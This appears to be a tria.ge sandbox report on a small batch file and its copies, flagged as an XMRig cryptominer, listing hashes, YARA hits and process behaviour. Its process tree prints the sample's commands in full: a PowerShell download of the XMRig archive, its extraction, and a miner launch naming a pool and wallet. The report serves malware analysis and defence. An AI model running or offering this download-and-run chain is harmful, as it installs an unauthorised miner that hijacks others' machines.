Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Overview
overview
10Static
static
1tesy - Copy (10).bat
windows7-x64
10tesy - Copy (10).bat
windows10-2004-x64
10tesy - Copy (11).bat
windows7-x64
10tesy - Copy (11).bat
windows10-2004-x64
10tesy - Copy (12).bat
windows7-x64
10tesy - Copy (12).bat
windows10-2004-x64
10tesy - Copy (13).bat
windows7-x64
10tesy - Copy (13).bat
windows10-2004-x64
10tesy - Copy (14).bat
windows7-x64
10tesy - Copy (14).bat
windows10-2004-x64
10tesy - Copy (2).bat
windows7-x64
10tesy - Copy (2).bat
windows10-2004-x64
10tesy - Copy (3).bat
windows7-x64
10tesy - Copy (3).bat
windows10-2004-x64
10tesy - Copy (4).bat
windows7-x64
10tesy - Copy (4).bat
windows10-2004-x64
10tesy - Copy (5).bat
windows7-x64
10tesy - Copy (5).bat
windows10-2004-x64
10tesy - Copy (7).bat
windows7-x64
10tesy - Copy (7).bat
windows10-2004-x64
10tesy - Copy (8).bat
windows7-x64
10tesy - Copy (8).bat
windows10-2004-x64
10tesy - Copy (9).bat
windows7-x64
10tesy - Copy (9).bat
windows10-2004-x64
10tesy - Copy.bat
windows7-x64
10tesy - Copy.bat
windows10-2004-x64
10tesy.bat
windows7-x64
10tesy.bat
windows10-2004-x64
10Analysis
-
max time kernel
4s -
max time network
288s -
platform
windows10-2004_x64 -
resource
win10v2004-20231215-en -
resource tags
arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system -
submitted
22/12/2023, 05:54
Static task
static1
Behavioral task
behavioral1
Sample
tesy - Copy (10).bat
Resource
win7-20231215-en
Behavioral task
behavioral2
Sample
tesy - Copy (10).bat
Resource
win10v2004-20231215-en
Behavioral task
behavioral3
Sample
tesy - Copy (11).bat
Resource
win7-20231215-en
Behavioral task
behavioral4
Sample
tesy - Copy (11).bat
Resource
win10v2004-20231215-en
Behavioral task
behavioral5
Sample
tesy - Copy (12).bat
Resource
win7-20231129-en
Behavioral task
behavioral6
Sample
tesy - Copy (12).bat
Resource
win10v2004-20231215-en
Behavioral task
behavioral7
Sample
tesy - Copy (13).bat
Resource
win7-20231129-en
Behavioral task
behavioral8
Sample
tesy - Copy (13).bat
Resource
win10v2004-20231215-en
Behavioral task
behavioral9
Sample
tesy - Copy (14).bat
Resource
win7-20231215-en
Behavioral task
behavioral10
Sample
tesy - Copy (14).bat
Resource
win10v2004-20231215-en
Behavioral task
behavioral11
Sample
tesy - Copy (2).bat
Resource
win7-20231129-en
Behavioral task
behavioral12
Sample
tesy - Copy (2).bat
Resource
win10v2004-20231215-en
Behavioral task
behavioral13
Sample
tesy - Copy (3).bat
Resource
win7-20231129-en
Behavioral task
behavioral14
Sample
tesy - Copy (3).bat
Resource
win10v2004-20231215-en
Behavioral task
behavioral15
Sample
tesy - Copy (4).bat
Resource
win7-20231215-en
Behavioral task
behavioral16
Sample
tesy - Copy (4).bat
Resource
win10v2004-20231215-en
Behavioral task
behavioral17
Sample
tesy - Copy (5).bat
Resource
win7-20231215-en
Behavioral task
behavioral18
Sample
tesy - Copy (5).bat
Resource
win10v2004-20231215-en
Behavioral task
behavioral19
Sample
tesy - Copy (7).bat
Resource
win7-20231215-en
Behavioral task
behavioral20
Sample
tesy - Copy (7).bat
Resource
win10v2004-20231215-en
Behavioral task
behavioral21
Sample
tesy - Copy (8).bat
Resource
win7-20231215-en
Behavioral task
behavioral22
Sample
tesy - Copy (8).bat
Resource
win10v2004-20231215-en
Behavioral task
behavioral23
Sample
tesy - Copy (9).bat
Resource
win7-20231215-en
Behavioral task
behavioral24
Sample
tesy - Copy (9).bat
Resource
win10v2004-20231215-en
Behavioral task
behavioral25
Sample
tesy - Copy.bat
Resource
win7-20231215-en
Behavioral task
behavioral26
Sample
tesy - Copy.bat
Resource
win10v2004-20231215-en
Behavioral task
behavioral27
Sample
tesy.bat
Resource
win7-20231215-en
General
-
Target
tesy - Copy (13).bat
-
Size
608B
-
MD5
727c8da0478af118c957ae60f7161cab
-
SHA1
cf18105b8659e93bbd2824fa35ef1bae7b395301
-
SHA256
97db0437ecb6f401a4674dceead7b17a885241f2ab2495652863d2240f3bedab
-
SHA512
d9cbb46d5f3caa92d3b44301bc96ccfd5552f2ab3e5460362db3b59d23e0a5c34bf78e9387009092ac5c92b4423c03789aa1fc824a4e1388a1363daa6ab54e01
Malware Config
Extracted
https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip
Signatures
-
XMRig Miner payload 27 IoCs
resource yara_rule behavioral8/files/0x000600000002320e-58.dat family_xmrig behavioral8/files/0x000600000002320e-58.dat xmrig behavioral8/memory/3972-61-0x00007FF74C940000-0x00007FF74D443000-memory.dmp xmrig behavioral8/memory/3972-64-0x00007FF74C940000-0x00007FF74D443000-memory.dmp xmrig behavioral8/memory/3972-65-0x00007FF74C940000-0x00007FF74D443000-memory.dmp xmrig behavioral8/memory/3972-68-0x00007FF74C940000-0x00007FF74D443000-memory.dmp xmrig behavioral8/memory/3972-69-0x00007FF74C940000-0x00007FF74D443000-memory.dmp xmrig behavioral8/memory/3972-70-0x00007FF74C940000-0x00007FF74D443000-memory.dmp xmrig behavioral8/memory/3972-71-0x00007FF74C940000-0x00007FF74D443000-memory.dmp xmrig behavioral8/memory/3972-72-0x00007FF74C940000-0x00007FF74D443000-memory.dmp xmrig behavioral8/memory/3972-73-0x00007FF74C940000-0x00007FF74D443000-memory.dmp xmrig behavioral8/memory/3972-74-0x00007FF74C940000-0x00007FF74D443000-memory.dmp xmrig behavioral8/memory/3972-75-0x00007FF74C940000-0x00007FF74D443000-memory.dmp xmrig behavioral8/memory/3972-76-0x00007FF74C940000-0x00007FF74D443000-memory.dmp xmrig behavioral8/memory/3972-77-0x00007FF74C940000-0x00007FF74D443000-memory.dmp xmrig behavioral8/memory/3972-78-0x00007FF74C940000-0x00007FF74D443000-memory.dmp xmrig behavioral8/memory/3972-79-0x00007FF74C940000-0x00007FF74D443000-memory.dmp xmrig behavioral8/memory/3972-80-0x00007FF74C940000-0x00007FF74D443000-memory.dmp xmrig behavioral8/memory/3972-81-0x00007FF74C940000-0x00007FF74D443000-memory.dmp xmrig behavioral8/memory/3972-82-0x00007FF74C940000-0x00007FF74D443000-memory.dmp xmrig behavioral8/memory/3972-83-0x00007FF74C940000-0x00007FF74D443000-memory.dmp xmrig behavioral8/memory/3972-84-0x00007FF74C940000-0x00007FF74D443000-memory.dmp xmrig behavioral8/memory/3972-85-0x00007FF74C940000-0x00007FF74D443000-memory.dmp xmrig behavioral8/memory/3972-86-0x00007FF74C940000-0x00007FF74D443000-memory.dmp xmrig behavioral8/memory/3972-87-0x00007FF74C940000-0x00007FF74D443000-memory.dmp xmrig behavioral8/memory/3972-88-0x00007FF74C940000-0x00007FF74D443000-memory.dmp xmrig behavioral8/memory/3972-89-0x00007FF74C940000-0x00007FF74D443000-memory.dmp xmrig -
Blocklisted process makes network request 2 IoCs
flow pid Process 10 1808 powershell.exe 14 1808 powershell.exe -
Suspicious behavior: EnumeratesProcesses 4 IoCs
pid Process 1808 powershell.exe 1808 powershell.exe 4040 powershell.exe 4040 powershell.exe -
Suspicious use of AdjustPrivilegeToken 2 IoCs
description pid Process Token: SeDebugPrivilege 1808 powershell.exe Token: SeDebugPrivilege 4040 powershell.exe -
Suspicious use of WriteProcessMemory 4 IoCs
description pid Process procid_target PID 3044 wrote to memory of 1808 3044 cmd.exe 86 PID 3044 wrote to memory of 1808 3044 cmd.exe 86 PID 3044 wrote to memory of 4040 3044 cmd.exe 90 PID 3044 wrote to memory of 4040 3044 cmd.exe 90
Processes
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\tesy - Copy (13).bat"1⤵
- Suspicious use of WriteProcessMemory
PID:3044 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -command "(New-Object System.Net.WebClient).DownloadFile('https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip', 'xmrig-6.21.0-gcc-win64.zip')"2⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1808
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -command "Expand-Archive -Path 'xmrig-6.21.0-gcc-win64.zip' -DestinationPath '.'"2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4040
-
-
C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exexmrig.exe --url pool.hashvault.pro:80 --user 42BWpXvTvDbHpMyHrnjqBA5bqjnB9z65fGakJV9dQuHSS7pRkpoyx5T4vE4pUjJxPoPrLCAerjoKwdMTQKZNNEqo6zoLmPJ --pass tria2 --donate-level 1 --tls --tls-fingerprint 420c7850e09b7c0bdcf748a7da9eb3647daf8515718f36d9ccfdd6b9ff834b142⤵PID:3972
-
Network
MITRE ATT&CK Matrix
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
2KB
MD52f57fde6b33e89a63cf0dfdd6e60a351
SHA1445bf1b07223a04f8a159581a3d37d630273010f
SHA2563b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55
SHA51242857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220
-
Filesize
1KB
MD5c20ac38ae3022e305b8752804aadf486
SHA14c144d6cfafb5c37ab4810ff3c1744df81493cdb
SHA25603cba7e903a418a3966af1dc0debfb5fcfb2ac6d372ec48cb1b93c23e0fd1caf
SHA512c9def9e5cd09d19b8b47a3f4c61893da715a6ba4b9933c885386d0425ee4ccc30d75eac1097511619d4e6259a46581f803fb38f78a15339391e4e78b0b6153e0
-
Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
-
Filesize
163KB
MD517dfabe56147519079329321a48931eb
SHA1a47f37f9f0dfce0a0140948123e8f73205025780
SHA256c48919c974136fa0932d9f2565390525f8535ea22b16b5642dfb4b5dc8763341
SHA512d0e82b1b7291b628a43458fac8dec29c1053091e3fc2ec075961da0dabc21c94560b729929fa2f8d004757ffa6813c81102f4e5463ffbf37f171c21671532dee
-
Filesize
34KB
MD5f890396f4632b389529860fa4ecd6cbf
SHA10b67daf344c1c93ce22d7a2752f2d94459b43a51
SHA2568ce01ba33669a80834f77989596a40e3d7eb46f56f74fa836ddc62461396f53e
SHA512e82f4b75b6f28566bca90e4cfebf4d4ce50527b12bf84875a79f7072366814a61a552ea3615ec7f8f6a745d15311a878e01da302ba4c9831e2bdec5f42e43cb4